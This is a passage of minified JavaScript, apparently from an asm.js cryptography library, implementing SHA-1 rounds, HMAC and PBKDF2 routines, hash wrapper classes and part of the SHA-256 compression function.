0|k>>>2;k=_;_=x;P=we^pe^ce^se;ke=P<<1|P>>>31;x=ke+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=ve^ye^ue^oe;Ae=P<<1|P>>>31;x=Ae+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=_e^be^he^ce;Se=P<<1|P>>>31;x=Se+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=ke^me^de^ue;Ee=P<<1|P>>>31;x=Ee+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=Ae^ge^fe^he;Pe=P<<1|P>>>31;x=Pe+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=Se^we^le^de;xe=P<<1|P>>>31;x=xe+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=Ee^ve^pe^fe;Me=P<<1|P>>>31;x=Me+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=Pe^_e^ye^le;Ce=P<<1|P>>>31;x=Ce+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=xe^ke^be^pe;Ke=P<<1|P>>>31;x=Ke+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=Me^Ae^me^ye;De=P<<1|P>>>31;x=De+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=Ce^Se^ge^be;Re=P<<1|P>>>31;x=Re+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=Ke^Ee^we^me;Ie=P<<1|P>>>31;x=Ie+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=De^Pe^ve^ge;Ue=P<<1|P>>>31;x=Ue+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=Re^xe^_e^we;Be=P<<1|P>>>31;x=Be+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=Ie^Me^ke^ve;Te=P<<1|P>>>31;x=Te+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;P=Ue^Ce^Ae^_e;ze=P<<1|P>>>31;x=ze+(_<<5|_>>>27)+E+(k^A^S)-0x359d3e2a|0;E=S;S=A;A=k<<30|k>>>2;k=_;_=x;i=i+_|0;n=n+k|0;a=a+A|0;s=s+S|0;o=o+E|0}function k(e){e=e|0;_(v[e|0]<<24|v[e|1]<<16|v[e|2]<<8|v[e|3],v[e|4]<<24|v[e|5]<<16|v[e|6]<<8|v[e|7],v[e|8]<<24|v[e|9]<<16|v[e|10]<<8|v[e|11],v[e|12]<<24|v[e|13]<<16|v[e|14]<<8|v[e|15],v[e|16]<<24|v[e|17]<<16|v[e|18]<<8|v[e|19],v[e|20]<<24|v[e|21]<<16|v[e|22]<<8|v[e|23],v[e|24]<<24|v[e|25]<<16|v[e|26]<<8|v[e|27],v[e|28]<<24|v[e|29]<<16|v[e|30]<<8|v[e|31],v[e|32]<<24|v[e|33]<<16|v[e|34]<<8|v[e|35],v[e|36]<<24|v[e|37]<<16|v[e|38]<<8|v[e|39],v[e|40]<<24|v[e|41]<<16|v[e|42]<<8|v[e|43],v[e|44]<<24|v[e|45]<<16|v[e|46]<<8|v[e|47],v[e|48]<<24|v[e|49]<<16|v[e|50]<<8|v[e|51],v[e|52]<<24|v[e|53]<<16|v[e|54]<<8|v[e|55],v[e|56]<<24|v[e|57]<<16|v[e|58]<<8|v[e|59],v[e|60]<<24|v[e|61]<<16|v[e|62]<<8|v[e|63])}function A(e){e=e|0;v[e|0]=i>>>24;v[e|1]=i>>>16&255;v[e|2]=i>>>8&255;v[e|3]=i&255;v[e|4]=n>>>24;v[e|5]=n>>>16&255;v[e|6]=n>>>8&255;v[e|7]=n&255;v[e|8]=a>>>24;v[e|9]=a>>>16&255;v[e|10]=a>>>8&255;v[e|11]=a&255;v[e|12]=s>>>24;v[e|13]=s>>>16&255;v[e|14]=s>>>8&255;v[e|15]=s&255;v[e|16]=o>>>24;v[e|17]=o>>>16&255;v[e|18]=o>>>8&255;v[e|19]=o&255}function S(){i=0x67452301;n=0xefcdab89;a=0x98badcfe;s=0x10325476;o=0xc3d2e1f0;c=u=0}function E(e,t,r,h,d,f,l){e=e|0;t=t|0;r=r|0;h=h|0;d=d|0;f=f|0;l=l|0;i=e;n=t;a=r;s=h;o=d;c=f;u=l}function P(e,t){e=e|0;t=t|0;var r=0;if(e&63)return-1;while((t|0)>=64){k(e);e=e+64|0;t=t-64|0;r=r+64|0}c=c+r|0;if(c>>>0<r>>>0)u=u+1|0;return r|0}function x(e,t,r){e=e|0;t=t|0;r=r|0;var i=0,n=0;if(e&63)return-1;if(~r)if(r&31)return-1;if((t|0)>=64){i=P(e,t)|0;if((i|0)==-1)return-1;e=e+i|0;t=t-i|0}i=i+t|0;c=c+t|0;if(c>>>0<t>>>0)u=u+1|0;v[e|t]=0x80;if((t|0)>=56){for(n=t+1|0;(n|0)<64;n=n+1|0)v[e|n]=0x00;k(e);t=0;v[e|0]=0}for(n=t+1|0;(n|0)<59;n=n+1|0)v[e|n]=0;v[e|56]=u>>>21&255;v[e|57]=u>>>13&255;v[e|58]=u>>>5&255;v[e|59]=u<<3&255|c>>>29;v[e|60]=c>>>21&255;v[e|61]=c>>>13&255;v[e|62]=c>>>5&255;v[e|63]=c<<3&255;k(e);if(~r)A(r);return i|0}function M(){i=h;n=d;a=f;s=l;o=p;c=64;u=0}function C(){i=y;n=b;a=m;s=g;o=w;c=64;u=0}function K(e,t,r,v,k,A,E,P,x,M,C,K,D,R,I,U){e=e|0;t=t|0;r=r|0;v=v|0;k=k|0;A=A|0;E=E|0;P=P|0;x=x|0;M=M|0;C=C|0;K=K|0;D=D|0;R=R|0;I=I|0;U=U|0;S();_(e^0x5c5c5c5c,t^0x5c5c5c5c,r^0x5c5c5c5c,v^0x5c5c5c5c,k^0x5c5c5c5c,A^0x5c5c5c5c,E^0x5c5c5c5c,P^0x5c5c5c5c,x^0x5c5c5c5c,M^0x5c5c5c5c,C^0x5c5c5c5c,K^0x5c5c5c5c,D^0x5c5c5c5c,R^0x5c5c5c5c,I^0x5c5c5c5c,U^0x5c5c5c5c);y=i;b=n;m=a;g=s;w=o;S();_(e^0x36363636,t^0x36363636,r^0x36363636,v^0x36363636,k^0x36363636,A^0x36363636,E^0x36363636,P^0x36363636,x^0x36363636,M^0x36363636,C^0x36363636,K^0x36363636,D^0x36363636,R^0x36363636,I^0x36363636,U^0x36363636);h=i;d=n;f=a;l=s;p=o;c=64;u=0}function D(e,t,r){e=e|0;t=t|0;r=r|0;var c=0,u=0,h=0,d=0,f=0,l=0;if(e&63)return-1;if(~r)if(r&31)return-1;l=x(e,t,-1)|0;c=i,u=n,h=a,d=s,f=o;C();_(c,u,h,d,f,0x80000000,0,0,0,0,0,0,0,0,0,672);if(~r)A(r);return l|0}function R(e,t,r,c,u){e=e|0;t=t|0;r=r|0;c=c|0;u=u|0;var h=0,d=0,f=0,l=0,p=0,y=0,b=0,m=0,g=0,w=0;if(e&63)return-1;if(~u)if(u&31)return-1;v[e+t|0]=r>>>24;v[e+t+1|0]=r>>>16&255;v[e+t+2|0]=r>>>8&255;v[e+t+3|0]=r&255;D(e,t+4|0,-1)|0;h=y=i,d=b=n,f=m=a,l=g=s,p=w=o;c=c-1|0;while((c|0)>0){M();_(y,b,m,g,w,0x80000000,0,0,0,0,0,0,0,0,0,672);y=i,b=n,m=a,g=s,w=o;C();_(y,b,m,g,w,0x80000000,0,0,0,0,0,0,0,0,0,672);y=i,b=n,m=a,g=s,w=o;h=h^i;d=d^n;f=f^a;l=l^s;p=p^o;c=c-1|0}i=h;n=d;a=f;s=l;o=p;if(~u)A(u);return 0}return{reset:S,init:E,process:P,finish:x,hmac_reset:M,hmac_init:K,hmac_finish:D,pbkdf2_generate_block:R}};class He{constructor(){this.pos=0,this.len=0}reset(){const{asm:e}=this.acquire_asm();return this.result=null,this.pos=0,this.len=0,e.reset(),this}process(e){if(null!==this.result)throw new we("state must be reset before processing new data");const{asm:t,heap:r}=this.acquire_asm();let i=this.pos,n=this.len,a=0,s=e.length,o=0;for(;s>0;)o=me(r,i+n,e,a,s),n+=o,a+=o,s-=o,o=t.process(i,n),i+=o,n-=o,n||(i=0);return this.pos=i,this.len=n,this}finish(){if(null!==this.result)throw new we("state must be reset before processing new data");const{asm:e,heap:t}=this.acquire_asm();return e.finish(this.pos,this.len,0),this.result=new Uint8Array(this.HASH_SIZE),this.result.set(t.subarray(0,this.HASH_SIZE)),this.pos=0,this.len=0,this.release_asm(),this}}const Ge=[],Ve=[];class $e extends He{constructor(){super(),this.NAME="sha1",this.BLOCK_SIZE=64,this.HASH_SIZE=20,this.acquire_asm()}acquire_asm(){return void 0!==this.heap&&void 0!==this.asm||(this.heap=Ge.pop()||be(),this.asm=Ve.pop()||We({Uint8Array},null,this.heap.buffer),this.reset()),{heap:this.heap,asm:this.asm}}release_asm(){void 0!==this.heap&&void 0!==this.asm&&(Ge.push(this.heap),Ve.push(this.asm)),this.heap=void 0,this.asm=void 0}static bytes(e){return(new $e).process(e).finish().result}}$e.NAME="sha1",$e.heap_pool=[],$e.asm_pool=[],$e.asm_function=We;const Ze=[],Ye=[];class Xe extends He{constructor(){super(),this.NAME="sha256",this.BLOCK_SIZE=64,this.HASH_SIZE=32,this.acquire_asm()}acquire_asm(){return void 0!==this.heap&&void 0!==this.asm||(this.heap=Ze.pop()||be(),this.asm=Ye.pop()||function(e,t,r){"use asm";var i=0,n=0,a=0,s=0,o=0,c=0,u=0,h=0,d=0,f=0,l=0,p=0,y=0,b=0,m=0,g=0,w=0,v=0,_=0,k=0,A=0,S=0,E=0,P=0,x=0,M=0,C=new e.Uint8Array(r);function K(e,t,r,d,f,l,p,y,b,m,g,w,v,_,k,A){e=e|0;t=t|0;r=r|0;d=d|0;f=f|0;l=l|0;p=p|0;y=y|0;b=b|0;m=m|0;g=g|0;w=w|0;v=v|0;_=_|0;k=k|0;A=A|0;var S=0,E=0,P=0,x=0,M=0,C=0,K=0,D=0;S=i;E=n;P=a;x=s;M=o;C=c;K=u;D=h;D=e+D+(M>>>6^M>>>11^M>>>25^M<<26^M<<21^M<<7)+(K^M&(C^K))+0x428a2f98|0;x=x+D|0;D=D+(S&E^P&(S^E))+(S>>>2^S>>>13^S>>>22^S<<30^S<<19^S<<10)|0;K=t+K+(x>>>6^x>>>11^x>>>25^x<<26^x<<21^x<<7)+(C^x&(M^C))+0x71374491|0;P=P+K|0;K=K+(D&S^E&(D^S))+(D>>>2^D>>>13^D>>>22^D<<30^D<<19^D<<10)|0;C=r+C+(P>>>6^P>>>11^P>>>25^P<<26^P<<21^P<<7)+(M^P&(x^M))+0xb5c0fbcf|0;E=E+C|0;C=C+(K&D^S&(K^D))+(K>>>2^K>>>13^K>>>22^K<<30^K<<19^K<<10)|0;M=d+M+(E>>>6^E>>>11^E>>>25^E<<26^E<<21^E<<7)+(x^E&(P^x))+0xe9b5dba5|0;S=S+M|0;M=M+(C&K^D&(C^K))+(C>>>2^C>>>13^C>>>22^C<<30^C<<19^C<<10)|0;x=f+x+(S>>>6^S>>>11^S>>>25^S<<26^S<<21^S<<7)+(P^S&(E^P))+0x3956c25b|0;D=D+x|0;x=x+(M&C^K&(M^C))+(M>>>2^M>>>13^M>>>22^M<<30^M<<19^M<<10)|0;P=l+P+(D>>>6^D>>>11^D>>>25^D<<26^D<<21^D<<7)+(E^D&(S^E))+0x59f111f1|0;K=K+P|0;P=P+(x&M^C&(x^M))+(x>>>2^x>>>13^x>>>22^x<<30^x<<19^x<<10)|0;E=p+E+(K>>>6^K>>>11^K>>>25^K<<26^K<<21^K<<7)+(S^K&(D^S))+0x923f82a4|0;C=C+E|0;E=E+(P&x^M&(P^x))+(P>>>2^P>>>13^P>>>22^P<<30^P<<19^P<<10)|0;S=y+S+(C>>>6^C>>>11^C>>>25^C<<26^C<<21^C<<7)+(D^C&(K^D))+0xab1c5ed5|0;M=M+S|0;S=S+(E&P^x&(E^P))+(E>>>2^E>>>13^E>>>22^E<<30^E<<19^E<<10)|0;D=b+D+(M>>>6^M>>>11^M>>>25^M<<26^M<<21^M<<7)+(K^M&(C^K))+0xd807aa98|0;x=x+D|0;D=D+(S&E^P&(S^E))+(S>>>2^S>>>13^S>>>22^S<<30^S<<19^S<<10)|0;K=m+K+(x>>>6^x>>>11^x>>>25^x<<26^x<<21^x<<7)+(C^x&(M^C))+0x12835b01|0;P=P+K|0;K=K+(D&S^E&(D^S))+(D>>>2^D>>>13^D>>>22^D<<30^D<<19^D<<10)|0;C=g+C+(P>>>6^P>>>11^P>>>25^P<<26^P<<21^P<<7)+(M^P&(x^M))+0x243185be|0;E=E+C|0;C=C+(K&D^S&(K^D))+(K>>>2^K>>>13^K>>>22^K<<30^K<<19^K<<10)|0;M=w+M+(E>>>6^E>>>11^E>>>25^E<<26^E<<21^E<<7)+(x^E&(P^x))+0x550c7dc3|0;S=S+M|0;M=M+(C&K^D&(C^K))+(C>>>2^C>>>13^C>>>22^C<<30^C<<19^C<<10)|0;x=v+x+(S>>>6^S>>>11^S>>>25^S<<26^S<<21^S<<7)+(P^S&(E^P))+0x72be5d74|0;D=D+x|0;x=x+(M&C^K&(M^C))+(M>>>2^M>>>13^M>>>22^M<<30^M<<19^M<<10)|0;P=_+P+(D>>>6^D>>>11^D>>>25^D<<26^D<<21^D<<7)+(E^D&(S^E))+0x80deb1fe|0;K=K+P|0;P=P+(x&M^C&(x^M))+(x>>>2^x>>>13^x>>>22^x<<30^x<<19^x<<10)|0;E=k+E+(K>>>6^K>>>11^K>>>25^K<<26^K<<21^K<<7)+(S^K&(D^S))+0x9bdc06a7|0;C=C+E|0;E=E+(P&x^M&(P^x))+(P>>>2^P>>>13^P>>>22^P<<30^P<<19^P<<10)|0;S=A+S+(C>>>6^C>>>11^C>>>25^C<<26^C<<21^C<<7)+(D^C&(K^D))+0xc19bf174|0;M=M+S|0;S=S+(E&P^x&(E^P))+(E>>>2^E>>>13^E>>>22^E<<30^E<<19^E<<10)|0;e=(t>>>7^t>>>18^t>>>3^t<<25^t<<14)+(k>>>17^k>>>19^k>>>10^k<<15^k<<13)+e+m|0;D=e+D+(M>>>6^M>>>11^M>>>25^M<<26^M<<21^M<<7)+(K^M&(C^K))+0xe49b69c1|0;x=x+D|0;D=D+(S&E^P&(S^E))+(S>>>2^S>>>13^S>>>22^S<<30^S<<19^S<<10)|0;t=(r>>>7^r>>>18^r>>>3^r<<25^r<<14)+(A>>>17^A>>>19^A>>>10^A<<15^A<<13)+t+g|0;K=t+K+(x>>>6^x>>>11^x>>>25^x<<26^x<<21^x<<7)+(C^x&(M^C))+0xefbe4786|0;P=P+K|0;K=K+(D&S^E&(D^S))+(D>>>2^D>>>13^D>>>22^D<<30^D<<19^D<<10)|0;r=(d>>>7^d>>>18^d>>>3^d<<25^d<<14)+(e>>>17^e>>>19^e>>>10^e<<15^e<<13)+r+w|0;C=r+C+(P>>>6^P>>>11^P>>>25^P<<26^P<<21^P<<7)+(M^P&(x^M))+0x0fc19dc6|0;E=E+C|0;C=C+(K&D^S&(K^D))+(K>>>2^K>>>13^K>>>22^K<<30^K<<19^K<<10)|0;d=(f>>>7^f>>>18^f>>>3^f<<25^f<<14)+(t>>>17^t>>>19^t>>>10^t<<15^t<<13)+d+v|0;M=d+M+(E>>>6^E>>>11^E>>>25^E<<26^E<<21^E<<7)+(x^E&(P^x))+0x240ca1cc|0;S=S+M|0;M=M+(C&K^D&(C^K))+(C>>>2^C>>>13^C>>>22^C<<30^C<<19^C<<10)|0;f=(l>>>7^l>>>18^l>>>3^l<<25^l<<14)+(r>>>17^r>>>19^r>>>10^r<<15^r<<13)+f+_|0;x=f+x+(S>>>6^S>>>11^S>>>25^S<<26^S<<21^S<<7)+(P^S&(E^P))+0x2de92c6f|0;D=D+x|0;x=x+(M&C^K&(M^C))+(M>>>2^M>>>13^M>>>22^M<<30^M<<19^M<<10)|0;l=(p>>>7^p>>>18^p>>>3^p<<25^p<<14)+(d>>>17^d>>>19^d>>>10^d<<15^d<<13)+l+k|0;P=l+P+(D>>>6^D>>>11^D>>>25^D<<26^D<<21^D<<7)+(E^D&(S^E))+0x4a7484aa|0;K=K+P|0;P=P+(x&M^C&(x^M))+(x>>>2^x>>>13^x>>>22^x<<30^x<<19^x<<10)|0;p=(y>>>7^y>>>18^y>>>3^y<<25^y<<14)+(f>>>17^f>>>19^f>>>10^f<<15^f<<13)+p+A|0;E=p+E+(K>>>6^K>>>11^K>>>25^K<<26^K<<21^K<<7)+(S^K&(D^S))+0x5cb0a9dc|0;C=C+E|0;E=E+(P&x^M&(P^x))+(P>>>2^P>>>13^P>>>22^P<<30^P<<19^P<<10)|0;y=(b>>>7^b>>>18^b>>>3^b<<25^b<<14)+(l>>>17^l>>>19^l>>>10^l<<15^l<<13)+y+e|0;S=y+S+(C>>>6^C>>>11^C>>>25^C<<26^C<<21^C<<7)+(D^C&(K^D))+0x76f988da|0;M=M+S|0;S=S+(E&P^x&(E^P))+(E>>>2^E>>>13^E>>>22^E<<30^E<<19^E<<10)|0;b=(m>>>7^m>>>18^m>>>3^m<<25^m<<14)+(p>>>17^p>>>19^p>>>10^p<<15^p<<13)+b+t|0;D=b+D+(M>>>6^M>>>11^M>>>25^M<<26^M<<21^M<<7)+(K^M&(C^K))+0x983e5152|0;x=x+D|0;D=D+(S&E^P&(S^E))+(S>>>2^S>>>13^S>>>22^S<<30^S<<19^S<<10)|0;m=(g>>>7^g>>>18^g>>>3^g<<25^g<<14)+(y>>>17^y>>>19^y>>>10^y<<15^y<<13)+m+r|0;K=m+K+(x>>>6^x>>>11^x>>>25^x<<26^x<<21^x<<7)+(C^x&(M^C))+0xa831c66d|0;P=P+K|0;K=K+(D&S^E&(D^S))+(D>>>2^D>>>13^D>>>22^D<<30^D<<19^D<<10)|0;g=(w>>>7^w>>>18^w>>>3^w<<25^w<<14)+(b>>>17^b>>>19^b>>>10^b<<15^b<<13)+g+d|0;C=g+C+(P>>>6^P>>>11^P>>>25^P<<26^P<<21^P<<7)+(M^P&(x^M))+0xb00327c8|0;E=E+C|0;C=C+(K&D^S&(K^D))+(K>>>2^K>>>13^K>>>22^K<<30^K<<19^K<<10)|0;w=(v>>>7^v>>>18^v>>>3^v<<25^v<<14)+(m>>>17^m>>>19^m>>>10^m<<15^m<<13)+w+f|0;M=w+M+(E>>>6^E>>>11^E>>>25^E<<26^E<<21^E<<7)+(x^E&(P^x))+0xbf597fc7|0;S=S+M|0;M=M+(C&K^D&(C^K))+(C>>>2^C>>>13^C>>>22^C<<30^C<<19^C<<10)|0;v=(_>>>7^_>>>18^_>>>3^_<<25^_<<14)+(g>>>17^g>>>19^g>>>10^g<<15^g<<13)+v+l|0;x=v+x+(S>>>6^S>>>11^S>>>25^S<<26^S<<21^S<<7)+(P^S&(E^P))+0xc6e00bf3|0;D=D+x|0;x=x+(M&C^K&(M^C))+(M>>>2^M>>>13^M>>>22^M<<30^M<<19^M<<10)|0;_=(k>>>7^k>>>18^k>>>3^k<<25^k<<14)+(w>>>17^w>>>19^w>>>10^w<<15^w<<13)+_+p|0;P=_+P+(D>>>6^D>>>11^D>>>25^D<<26^D<<21^D<<7)+(E^D&(S^E))+0xd5a79147|0;K=K+P|0;P=P+(x&M^C&(x^M))+(x>>>2^x>>>13^x>>>22^x<<30^x<<19^x<<10)|0;k=(A>>>7^A>>>18^A>>>3^A<<25^A<<14)+(v>>>17^v>>>19^v>>>10^v<<15^v<<13)+k+y|0;E=k+E+(K>>>6^K>>>11^K>>>25^K<<26^K<<21^K<<7)+(S^K&(D^S))+0x06ca6351|0;C=C+E|0;E=E+(P&x^M&(P^x))+(P>>>2^P>>>13^P>>>22^P<<30^P<<19^P<<10)|0;A=(e>>>7^e>>>18^e>>>3^e<<25^e<<14)+(_>>>17^_>>>19^_>>>10^_<<15^_<<13)+A+b|0;S=A+S+(C>>>6^C>>>11^C>>>25^C<<26^C<<21^C<<7)+(D^C&(K^D))+0x14292967|0;M=M+S|0;S=S+(E&P^x&(E^P))+(E>>>2^E>>>13^E>>>22^E<<30^E<<19^E<<10)|0;e=(t>>>7^t>>>18^t>>>3^t<<25^t<<14)+(k>>>17^k>>>19^k>>>10^k<<15^k<<13)+e+m|0;D=e+D+(M>>>6^M>>>11^M>>>25^M<<26^M<<21^M<<7)+(K^M&(C^K))+0x27b70a85|0;x=x+D|0;D=D+(S&E^P&(S^E))+(S>>>2^S>>>13^S>>>22^S<<30^S<<19^S<<10)|0;t=(r>>>7^r>>>18^r>>>3^r<<25^r<<14)+(A>>>17^A>>>19^A>>>10^A<<15^A<<13)+t+g|0;K=t+K+(x>>>6^x>>>11^x>>>25^x<<26^x<<21^x<<7)+(C^x&(M^C))+0x2e1b2138|0;P=P+K|0;K=K+(D&S^E&(D^S))+(D>>>2^D>>>13^D>>>22^D<<30^D<<19^D<<10)|0;r=(d>>>7^d>>>18^d>>>3^d<<25^d<<14)+(e>>>17^e>>>19^e>>>10^e<<15^e<<13)+r+w|0;C=r+C+(P>>>6^P>>>11^P>>>25^P<<26^P<<21^P<<7)+(M^P&(x^M))+0x4d2c6dfc|0;E=E+C|0;C=C+(K&D^S&(K^D))+(K>>>2^K>>>13^K>>>22^K<<30^K<<19^K<<10)|0;d=(f>>>7^f>>>18^f>>>3^f<<25^f<<14)+(t>>>17^t>>>19^t>>>10^t<<15^t<<13)+d+v|0;M=d+M+(E>>>6^E>>>11^E>>>25^E<<26^E<<21^E<<7)+(x^E&(P^x))+0x53380d13|0;S=S+M|0;M=M+(C&K^D&(C^K))+(C>>>2^C>>>13^C>>>22^C<<30^C<<19^C<<10)|0;f=(l>>>7^l>>>18^l>>>3^l<<25^l<<14)+(r>>>17^r>>>19^r>>>10^r<<15^r<<13)+f+_|0;x=f+x+(S>>>6^S>>>11^S>>>25^S<<26^S<<21^S<<7)+(P^S&(E^P))+0x650a7354|0;D=D+x|0;x=x+(M&C^K&(M^C))+(M>>>2^M>>>13^M>>>22^M<<30^M<<19^M<<10)|0;l=(p>>>7^p>>>18^p>>>3^p<<25^p<<14)+(d>>>17^d>>>19^d>>>10^d<<15^d<<13)+l+k|0;P=l+P+(D>>>6^D>>>11^D>>>25^D<<26^D<<21^D<<7)+(E^D&(S^E))+0x766a0abb|0;K=K+P|0;P=P+(x&M^C&(x^M))+(x>>>2^x>>>13^x>>>22^x<<30^x<<19^x<<10)|0;p=(y>>>7^y>>>18^y>>>3^y<<25^y<<14)+(f>>>17^f>>>19^f>>>10^f<<15^f<<13)+p+A|0;E=p+E+(K>>>6^K>>>11^K>>>25^K<<26^K<<21^K<<7)+(S^K&(D^S))+0x81c2c92e|0;C=C+E|0;E=E+(P&x^M&(P^x))+(P>>>2^P>>>13^P>>>22^P<<30^P<<19^P<<10)|0;y=(b>>>7^b>>>18^b>>>3^b<<25^b<<14)+(l>>>17^l>>>19^l>>>10^l<<15^l<<13)+y+e|0;S=y+S+(C>>>6^C>>>11^C>>>25^C<<26^C<<21^C<<7)+(D^C&(K^D))+0x92722c85|0;M=M+S|0;S=S+(E&P^x&(E^P))+(E>>>2^E>>>13^E>>>22^E<<30^E<<19^E<<10)|0;b=(m>>>7^m>>>18^m>>>3^m<<25^m<<14)+(p>>>17^p>>>19^p>>>10^p<<15^p<<13)+b+t|0;D=b+D+(M>>>6^M>>>11^M>>>25^M<<26^M<<21^M<<7)+(K^M&(C^K))+0xa2bfe8a1|0;x=x+D|0;D=D+(S&E^P&(S^E))+(S>>>2^S>>>13^S>>>22^S<<30^S<<19^S<<10)|0;m=(g>>>7^g>>>18^g>>>3^g<<25^g<<14)+(y>>>17^y>>>19^y>>>10^y<<15^y<<13)+m+r|0;K=m+K+(x>>>6^x>>>11^x>>>25^x<<26^x<<21^x<<7)+(C^x&(M^C))+0xa81a664b|0;P=P+K|0;K=K+(D&S^E&(D^S))+(D>>>2^D>>>13^D>>>22^D<<30^D<<19^D<<10)|0;g=(w>>>7^w>>>18^w>>>3^w<<25^w<<14)+(b>>>17^b>>>19^b>>>10^b<<15^b<<13)+g+d|0;C=g+C+(P>>>6^P>>>11^P>>>25^P<<26^P<<21^P<<7)+(M^P&(x^M))+0xc24b8b70|0;E=E+C|0;C=C+(K&D^S&(K^D))+(K>>>2^K>>>13^K>>>22^K<<30^K<<19^K<<10)|0;w=(v>>>7^v>>>18^v>>>3^v<<25^v<<14)+(m>>>17^m>>>19^m>>>10^m<<15^m<<13)+w+f|0;M=w+M+(E>>>6^E>>>11^E>>>25^E<<26^E<<21^E<<7)+(x^E&(P^x))+0xc76c51a3|0;S=S+M|0;M=M+(C&K^D&(C^K))+(C>>>2^C>>>13^C>>>22^C<<30^C<<19^C<<10)|0;v=(_>>>7^_>>>18^_>>>3^_<<25^_<<14)+(g>>>17^g>>>19^g>>>10^g<<15^g<<13)+v+l|0;x=v+x+(S>>>6^S>>>11^S>>>25^S<<26^S<<21^S<<7)+(P^S&(E^P))+0xd192e819|0;D=D+x|0;x=x+(M&C^K&(M^C))+(M>>>2^M>>>13^M>>>22^M<<30^M<<19^M<<10)|0;_=(k>>>7^k>>>18^k>>>3^k<<25^k<<14)+(w>>>17^w>>>19^w>>>10^w<<15^w<<13)+_+p|0;P=_+P+(D>>>6^D>>>11^D>>>25^D<<26^D<<21^D<<7)+(E^D&(S^E))+0xd6990624|0;K=K+P|0;P=P+(x&M^C&(x^M))+(x>>>2^x>>>13^x>>>22^x<<30^x<<19^x<<10)|0;k=(A>>>7^A>>>18^A>>>3^A<<25^A<<14)+(v>>>17^v>>>19^v>>>10^v<<15^v<<13)+k+y|0;E=k+E+(K>>>6^K>>>11^K>>>25^K<<26^K<<21^K<<7)+(S^K&(D^S))+0xf40e3585|0;C=C+E|0;E=E+(P&x^M&(P^x))+(P>>>2^P>>>13^P>>>22^P<<30^P<<19^P<<10)|0;A=(e>>>7^e>>>18^e>>>3^e<<25^e<<14)+(_>>>17^_>>>19^_>>>10^_<<15^_<<13)+A+b|0;S=A+S+(C>>>6^C>>>11^C>>>25^C<<26^C<<21^C<<7)+(D^C&(K^D))+0x106aa070|0;M=M+S|0;S=S+(E&P^x&(E^P))+(E>>>2^E>>>13^E>>>22^E<<30^E<<19^E<<10)|0;e=(t>>>7^t>>>18^t>>>3^t<<25^t<<14)+(k>>>17^k>>>19^k>>>10^k<<15^k<<13)+e+m|0;D=e+D+(M>>>6^M>>>11^M>>>25^M<<26^M<<21^M<<7)+(K^M&(C^K))+0x19a4c116|0;x=x+D|0;D=D+(S&E^P&(S^E))+(S>>>2^S>>>13^S>>>22^S<<30^S<<19^S<<10)|0;t=(r>>>7^r>>>18^r>>>3^r<<25^r<<14)+(A>>>17^A>>>19^A>>>10^A<<15^A<<13)+t+g|0;K=t+K+(x>>>6^x>>>11^x>>>25^x<<26^x<<21^x<<7)+(C^x&(M^C))+0x1e376c08|0;P=P+K|0;K=K+(D&S^E&(D^S))+(D>>>2^D>>>13^D>>>22^D<<30^D<<19^D<<10)|0;r=(d>>>7^d>>>18^d>>>3^d<<25^d<<14)+(e>>>17^e>>>19^e>>>10^e<<15^e<<13)+r+w|0;C=r+C+(P>>>6^P>>>11^P>>>25^P<<26^P<<21^P<<7)+(M^P&(x^M))+0x2748774c|0;E=E+C|0;C=C+(K&D^S&(K^D))+(K>>>2^K>>>13^K>>>22^K<<30^K<<19^K<<10)|0;d=(f>>>7^f>>>18^f>>>3^f<<25^f<<14)+(t>>>17^t>>>19^t>>>10^t<<15^t<<13)+d+v|0;M=d+M+(E>>>6^E>>>11^E>>>25^E<<26^E<<21^E<<7)+(x^E&(P^x))+0x34b0bcb5|0;S=S+M|0;M=M+(C&K^D&(C^K))+(C>>>2^C>>>13^C>>>22^C<<30^C<<19^C<<10)|0;f=(l>>>7^l>>>18^l>>>3^l<<25^l<<14)+(r>>>17^r>>>19^r>>>10^r<<15^r<<13)+f+_|0;x=f+x+(S>>>6^S>>>11^S>>>25^S<<26^S<<21^S<<7)+(P^S&(E^P))+0x391c0cb3|0;D=D+x|0;x=x+(M&C^K&(M^C))+(M>>>2^M>>>13^M>>>22^M<<30^M<<19^M<<10)|0;l=(p>>>7^p>>>18^p>>>3^p<<25^p<<14)+(d>>>17^d>>>19^d>>>10^d<<15^d<<13)+l+k|0;P=l+P+(D>>>6^D>>>11^D>>>25^D<<26^D<<21^D<<7)+(E^D&(S^E))+0x4ed8aa4a|0;K=K+P|0;P=P+(x&M^C&(x^M))+(x>>>2^x>>>13^x>>>22^x<<30^x<<19^x<<10)|0;p=(y>>>7^y>>>18^y>>>3^y<<25^y<<14)+(f>>>17^f>>>19^f>>>10^f<<15^f<<13)+p+A|0;E=p+E+(K>>>6^K>>>11^K>>>25^K<<26^K<<21^K<<7)+(S^K&(D^S))+0x5b9cca4f|0;C=C+E|0;E=E+(P&x^M&(P^x))+(P>>>2^P>>>13^P>>>22^